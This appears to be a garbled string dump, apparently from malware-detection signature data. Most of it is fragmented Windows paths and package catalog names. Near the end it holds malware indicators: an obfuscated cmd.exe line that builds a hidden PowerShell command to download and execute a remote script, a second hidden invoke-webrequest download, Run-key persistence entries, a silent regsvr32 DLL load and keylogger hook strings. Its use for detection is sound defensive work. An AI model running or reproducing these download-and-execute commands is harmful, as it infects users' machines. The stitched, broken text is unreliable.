=\\WINDOWS
X\system32\backgroundTaskHost.exe
OMPUTERNAME=WINDOWS11
	\system32\cmd.exe
Microsoft Windows
    name="Microsoft.Windows.onecoreuapbase.backgroundTaskHost"
    <description>Windows System Assessment Tool</description>
isWindowsActiv
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Xaml.Documents.h
C:\__w\1\s\Output\Release\x64\External\V21\GeneratedFiles\StartMenuLib\winrt\Windows.UI.Text.h
c:/windows/system32/dt
c:/windows/system32/d
.WindowsCommunity
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
YNID:SuspSystem32Clean
Windows welcome notifications
X-<WindowsB
d-<of WindowsF
p-<out of WindowsK
|-<most out of WindowsO
-<the most out of WindowsS
-<get the most out of WindowsV
-<to get the most out of Windows]
-<device to get the most out of Windows`
-<my device to get the most out of Windowsc
-<up my device to get the most out of Windowsg
-<set up my device to get the most out of Windowsk
-<can set up my device to get the most out of Windowsm
-<I can set up my device to get the most out of Windowss
-<ways I can set up my device to get the most out of Windows
-<suggest ways I can finish setting up my device to get the most out of Windows|finish setting up my device|setting up my device|finish device setup|device setup|notification settings|set up computer|set up compter|set up PC|setup device|setup PC|setup computer|set up options|setup options|setup notifications|set up notifications|
\windows\temp
\Windows\Temp
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\token_helpers.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetApiInformation.g.h
Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-OneCore-Fonts-UAPFonts-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package04102030~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-AssignedAccess-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CoreSystem-DXG-Common-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-msmq-dcomproxy-Opt-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|d-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-CoreSystem-WINNLS-Core-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-PeerDist-Client-Group-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-PowerShell-ISE-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Printing-PrintToPDF-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.4484.cat|
Microsoft-Windows-TerminalServices-AppServerClient-Opt-WOW64-Package~31bf3856ad364e35~wow64~~10.0.26100.7623.cat|
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0114~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-DirectPlay-OC-Opt-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-WPD-LegacyWmdmFeature-Feature-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package02~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0111~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-DirectPlay-OC-Opt-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Multimedia-MF-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|!
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-OneCore-Pnp-PlatformServices-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|!
Microsoft-Windows-TerminalServices-AppServerClient-Opt-WOW64-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-Wifi-Client-Realtek-Rtwlane01-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Shared-5A906401B1801A9A7386214A3ABDA88E648A43CA49B6E45F42772F225063C8F6~31bf3856ad364e35~amd64~~10.0.26100.7298.cat|e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-ProfessionalEdition-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-EnterpriseNetworking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-WOW64-Package02~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-CoreSystem-RemoteFS-Client-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-MediaPlayer-Package~31bf3856ad364e35~wow64~en-US~10.0.26100.1.cat|
Microsoft-Windows-ProfessionalEdition-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package001020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package001120~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-Security-SPP-Component-SKU-CloudEdition-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Education-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Enterprise-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-Professional-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalCountrySpecific-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalEducation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalSingleLanguage-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Security-SPP-Component-SKU-ProfessionalWorkstation-License-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|cat|Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|Microsoft-Windows-IIS-WebServer-ServerCommon-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.6584.cat|
Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-LanguageFeatures-TextToSpeech-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|osoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|$
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package041520~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0416~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Embedded-UnifiedWriteFilterCSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat|
Microsoft-Windows-Management-SecureAssessment-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-SenseClient-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-TextPrediction-Dictionaries-en-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Windows-ClientCore-DWM-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|w
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package013~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package05~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|35~amd64~~10.0.26100.1742.cat|041520~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-Graphics-DirectX-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-OneCore-DebugCore-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Kernel-Package-CodeIntegrity-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7309.cat|
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Kernel-Package-Storage-Tiering-Events-Container-Package~31bf3856ad364e35~amd64~~10.0.26100.4768.cat|
Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Product-onecore__Microsoft-OneCore-Connectivity-HIDMiniports-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Spelling-Dictionaries-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|Microsoft-Windows-Spelling-Dictionaries-en-us-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.7019.cat|Microsoft-Windows-Spelling-Dictionaries-en-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1000.cat|-gb-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|-Desktop-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
\Tencent\Users\*.*%SystemRoot%\system32\termsrv_t.dll[BACKSPACE]
Microsoft.Windows.Graphics.D3D12WARP
software\microsoft\windows\currentversion\run
software\microsoft\windows\currentversion\policies\winoldapp
PvtC9R!dos is deadavz.exe;nt\currentversion\winlogonEXPLODE 0?wingdingsORERt&
c:\windows\temp\log.txtc
.com/ip/ip.phpsoftware\tencent\hooknumber=xxkxxxxjtryyyrt8jjjsetwindowshookex
\Users\YoavShaharabani\source\repos\windows-scenarios\Payloads\NativV
VUwindows.immersivecontrolpanel_cw5n1h2txyewy/
Windows PowerShell/
Windows/
UMicrosoft.WindowsTerminal_8wekyb3d8bbwe/8
UMicrosoft.WindowsNotepad_8wekyb3d8bbwe/(
UMicrosoft.Windows.ShellExperienceHost_cw5n1h2txyewy/2
UMicrosoft.OutlookForWindows_8wekyb3d8bbwe/4
UMicrosoft.Windows.DevHome_8wekyb3d8bbwe/.
UMicrosoft.Windows.Photos_8wekyb3d8bbwe/1
UMicrosoft.WindowsCalculator_8wekyb3d8bbwe/-
UMicrosoft.WindowsCamera_8wekyb3d8bbwe/2
UMicrosoft.WindowsFeedbackHub_8wekyb3d8bbwe/4
UMicrosoft.WindowsSoundRecorder_8wekyb3d8bbwe/)
UMicrosoft.WindowsAlarms_8wekyb3d8bbwe/:
UMicrosoft.Windows.NarratorQuickStart_8wekyb3d8bbwe/	
UMicrosoft.WindowsStore_8wekyb3d8bbwe/
uyUMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy/=
{tUMicrosoft.Windows.ContentDeliveryManager_cw5n1h2txyewy/:
usUMicrosoft.Windows.CloudExperienceHost_cw5n1h2txyewy/>
}qUMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy/0
aiUMicrosoftWindows.Client.CBS_cw5n1h2txyewy//
cYUMicrosoftWindows.Client.OOBE_cw5n1h2txyewy/3
gXUMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy//
hkey_current_user\software\microsoft\windows\currentversion\run\youtube.comf
lec.nevysearch.com/process/use_cnt.php?mac=aa-aa-aa-aa-aa-aaup1.adlay.netpowerhacker_charm.dllpowerhacker.iniwinspss.exepsjm.dll\system32\regsvr32.exe /s psjm.dll
software\microsoft\windows\currentversion\policies\explorer\runnefkheu<010<h>1$9?m:$=m1:$h<::$08>=0m0>:m01
:\windows\media\
:\windows\media\
cmd.exe /c copy /y c:\windows\splwow32#
c:\windows\system32\cmd.exe/cechorun&&sethgxtsgguxisydihzguspflwugiak=-whi&&setziohocuuoihogvhvhxsuu=dden&&setpowjdohytfpakvugcfci=iex&&setaposdjvpihvisoehvklaihh=pow&&setkcoiasihdvow8gfaafugi=er&&setioshdoibisgvislgfaaasfwewugi=shell&&setggdrdstdytderusgfityyscgdfdarqydgducia=-nop&&setdvigyqffugakjdggayfuegfia=-ex&&setkgsiuugadvdso=by&&setpohspbusdviwheov=pass&&setashuayb=((new&&setuigsiygvvi=-object&&setgsfuug=webc&&setgsfgaii=lient).&&setuhigiioa=net.&&setusgissd=down&&setiusgigiuasgfgig=loa&&setuisidugs=dstring&&@echooff&&echo%aposdjvpihvisoehvklaihh%%kcoiasihdvow8gfaafugi%%ioshdoibisgvislgfaaasfwewugi%%dvigyqffugakjdggayfuegfia%%kgsiuugadvdso%%pohspbusdviwheov%%ggdrdstdytderusgfityyscgdfdarqydgducia%%hgxtsgguxisydihzguspflwugiak%%ziohocuuoihogvhvhxsuu%%powjdohytfpakvugcfci%%ashuayb%%uigsiygvvi%%uhigiioa%%gsfuug%%gsfgaii%%usgissd%%iusgigiuasgfgig%%uisidugs%('https://raw.githubusercontent.com/dangersklif/googleupdate/main/lib7.ps1'))|cmd
!#AGGR:Lua:TopLevelFile.A!FileInSystem32
Lua:TopLevelFile.A!FileInSystem32
c:\windows\svchost.batc:\windows\system32\system.exec:\windows\system32\sys.exeTibia.exe
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Windows Messenger
.extraftp33.dll\exefile\shell\open\command\<form method=strcmp_inittermstrlen_strdupmemset_strcmpiStartupInfostrtok__setusermatherrtoupperSoftware\Microsoft\Windows\CurrentVersion\Run\\Local Settings\Application Data\\drivers\SYSTEM\CurrentControlSet\Services\ScheduleContent-Type: application/x-www-form-urlencodedContent-length: %dHost: %srm+ionhttp://fewfwe.com/http://fewfwe.net/manda.php\mpr.dat\cs.datdata.phpc:\stU!MTB
c:\windows\system32\cmd.exe/v/k"start/min""powershell-windowstylehidden-nologo-noprofile-executionpolicybypass-command"$content=invoke-webrequest-uri'https://fobta.se/file/
